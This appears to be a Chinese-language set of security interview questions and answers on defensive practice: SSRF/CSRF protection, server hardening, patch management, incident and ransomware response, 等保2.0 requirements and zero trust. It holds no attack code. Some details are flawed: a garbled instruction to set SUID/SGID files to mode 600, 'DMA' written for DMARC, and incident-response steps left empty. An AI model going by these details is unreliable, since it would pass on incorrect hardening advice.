SSRF(服务器端请求伪造)和 CSRF(跨站请求伪造)的防护需结合网络、系统、应用多层防御策略,核心是“最小权限原则”和“输入验证”。

  1. 网络层防护

    • 访问控制:通过防火墙/IPS限制服务器对外网的访问协议(如仅允许 HTTPS),禁止访问内网资源(如 192.168.x.x)。
    • 流量监控:部署 IDS 规则检测异常内网探测行为(如高频请求 127.0.0.1)。
  2. 应用层防护

    • SSRF 防御
      • 对用户输入的 URL 进行白名单校验,禁止解析内网地址。
      • 使用代理服务统一处理外部请求,隔离业务逻辑与网络访问。
    • CSRF 防御
      • 强制使用 Anti-CSRF Token(如 OAuth2 的 state 参数),确保请求来源可信。
      • 设置 Cookie 的 SameSite=StrictHttpOnly 属性,防止跨站请求携带会话凭证。
  3. 管理策略

    • 开发规范:在代码审计中强制检查 SSRF/CSRF 漏洞(如 OWASP Top 10 标准)。
    • 渗透测试:定期模拟攻击验证防护效果,例如通过 Burp Suite 测试 CSRF Token 生效性。

如何对 Linux/Windows 服务器进行安全加固?请举例说明

服务器加固需遵循“最小化原则”,从系统配置、权限管控、漏洞修复三方面入手,结合等级保护要求

  1. 系统配置基线

    • Linux
      • 关闭非必要服务(如 Telnet、FTP),禁用 root 远程登录。
      • 配置防火墙(如 iptables)仅开放业务端口(如 80/443)。
    • Windows
      • 启用防火墙并限制入站规则,关闭 SMBv1 等高危协议。
      • 通过组策略(GPO)禁用默认共享(如 C$、Admin$)。
  2. 权限与审计

    • 最小权限分配
      • Linux:设置 SUID/SGID 文件权限为 600,限制普通用户提权。
      • Windows:禁用 Guest 账户,限制管理员组成员数量。
    • 日志审计
      • Linux:启用 auditd 监控关键目录(如 /etc/passwd)。
      • Windows:配置事件查看器记录登录失败、策略变更事件。
  3. 漏洞与补丁管理

    • 定期扫描漏洞(如 Nessus、OpenVAS),通过自动化工具(如 Ansible、WSUS)批量修复补丁。

如何看待 Windows 更新策略?如何确保补丁及时性又不影响业务稳定?

Windows 更新需平衡“及时性”与“业务连续性”,核心是分阶段验证和自动化管理。**

  1. 策略设计

    • 分层更新
      • 测试环境优先更新,验证补丁兼容性(如是否导致业务系统崩溃)。
      • 生产环境分批次灰度发布,优先更新高风险主机(如互联网暴露面)。
    • 回滚机制:保留旧版本镜像,确保补丁失败时快速回退。
  2. 技术保障

    • 自动化工具
      • 使用 SCCM 或 WSUS 统一推送补丁,设置更新窗口(如业务低峰期)。
      • 通过 PowerShell 脚本监控补丁状态(如 Get-HotFix)。
  3. 风险控制

    • 补丁优先级评估:根据 CVSS 分数分类处理(如 9.0 以上漏洞 24 小时内修复)。
    • 与业务部门联动:提前沟通更新计划,避免关键业务时段中断。

服务器被入侵后的应急响应流程是什么?

应急响应需遵循“黄金一小时”原则,流程分为隔离、溯源、处置、复盘四阶段。

  1. 隔离与止损

  2. 溯源分析

    • 日志排查
    • 恶意行为识别
  3. 处置与恢复

    • 清除后门(如删除恶意启动项、修复被篡改文件)。
    • 重置所有凭证(包括数据库、中间件密码)。
  4. 复盘与改进

    • 输出报告:明确攻击路径(如 Struts2 漏洞利用)、影响范围。
    • 优化措施:加强 WAF 规则、部署 EDR(端点检测与响应)工具。

信息系统安全等级保护(等保2.0)包含哪些测评要素

核心是“一个中心,三重防护”,覆盖技术和管理双维度。

  1. 技术层面

    • 物理安全:机房防水、防盗、UPS 供电。
    • 网络安全:边界防护(防火墙)、访问控制(ACL)、入侵检测(IDS)。
    • 应用安全:身份认证(双因子)、代码审计、日志完整性保护。
    • 数据安全:加密存储(如 AES-256)、备份与恢复机制。
  2. 管理层面

    • 安全制度:制定《网络安全管理办法》《应急响应预案》。
    • 人员管理:签署保密协议、定期安全意识培训(如钓鱼邮件测试)。
    • 运维管理:变更审批流程、第三方访问审计。

如何设计“监测-防御-溯源-处置”一体化防守方案?

**一体化防守需构建“闭环安全体系”,覆盖全生命周期威胁治理。

  1. 监测层

    • 多源数据采集:整合流量(NetFlow)、日志(SIEM)、威胁情报(如 VirusTotal)。
    • 异常检测:通过 UEBA(用户行为分析)识别非常规操作(如深夜登录数据库)。
  2. 防御层

    • 纵深防护
      • 网络层:下一代防火墙(NGFW)拦截恶意流量。
      • 主机层:EDR 实时阻断可疑进程(如 Mimikatz 内存读取)。
    • 零信任架构:强制所有访问请求经过 MFA 认证,动态调整权限。
  3. 溯源层

    • 日志归档:集中存储 180 天以上日志,支持全流量回溯(如通过 Splunk 分析 APT 攻击链)。
    • 情报联动:对接威胁情报平台(TIP),自动阻断恶意 IP/C2 域名。
  4. 处置层

    • 自动化编排:通过 SOAR(安全编排自动化响应)工具自动隔离主机、封禁账号。
    • 复盘机制:每次事件后更新检测规则和防御策略(如新增 YARA 规则)。

客户反馈核心系统遭勒索病毒攻击,如何第一时间处理?

勒索病毒应急需快速遏制扩散,优先保障业务连续性,流程如下:

  1. 紧急响应

    • 隔离感染设备:物理断网或通过交换机 ACL 阻断横向传播(如 SMB 协议)。
    • 保留证据:备份加密文件、勒索信、内存镜像供取证分析。
  2. 影响评估

    • 数据恢复能力验证:检查离线备份是否完整(如 air-gapped 存储)。
    • 横向扩散排查:扫描域控日志(如 Kerberos 票据请求异常)。
  3. 处置与恢复

    • 清除威胁:杀掉恶意进程、删除启动项、修复组策略。
    • 业务恢复:优先恢复关键系统(如数据库),监控是否二次加密。
  4. 后续改进

    • 根因分析:确认攻击入口(如未打补丁的 RDP 漏洞)。
    • 防御强化:部署邮件沙箱过滤钓鱼附件、启用文件服务器版本快照功能。

邮件服务器安全加固的优化措施及效果

邮件服务器加固需围绕“防泄露、防钓鱼、防投递失败”三大目标,措施如下:

  1. 风险评估与整改

    • 漏洞扫描:检测未修复的漏洞(如 Exchange ProxyLogon)。
    • 协议升级:禁用 SSLv3/TLS1.0,强制使用 STARTTLS 加密传输。
  2. 访问控制

    • 最小权限原则:限制发信频率(如单用户每小时 100 封),禁用匿名中继。
    • 多因素认证:强制管理员登录需短信/动态令牌验证。
  3. 内容防护

    • 反钓鱼措施:部署 DKIM/SPF/DMA 记录防止邮件伪造。
    • 沙箱检测:对附件进行静态分析(如宏代码检测)和动态沙箱运行。
  4. 效果验证

    • 钓鱼测试:模拟钓鱼邮件,员工点击率从 20% 降至 3%。
    • 日志审计:成功拦截 90%+ 的垃圾邮件和恶意附件。

如何设计企业网络安全培训方案?

定期模拟钓鱼攻击、讲解最新威胁案例、制定密码管理规范、组织红蓝对抗演练。

零信任架构的核心原则是什么?

“永不信任,持续验证”,包括微隔离、动态访问控制、设备健康检查、最小权限分配。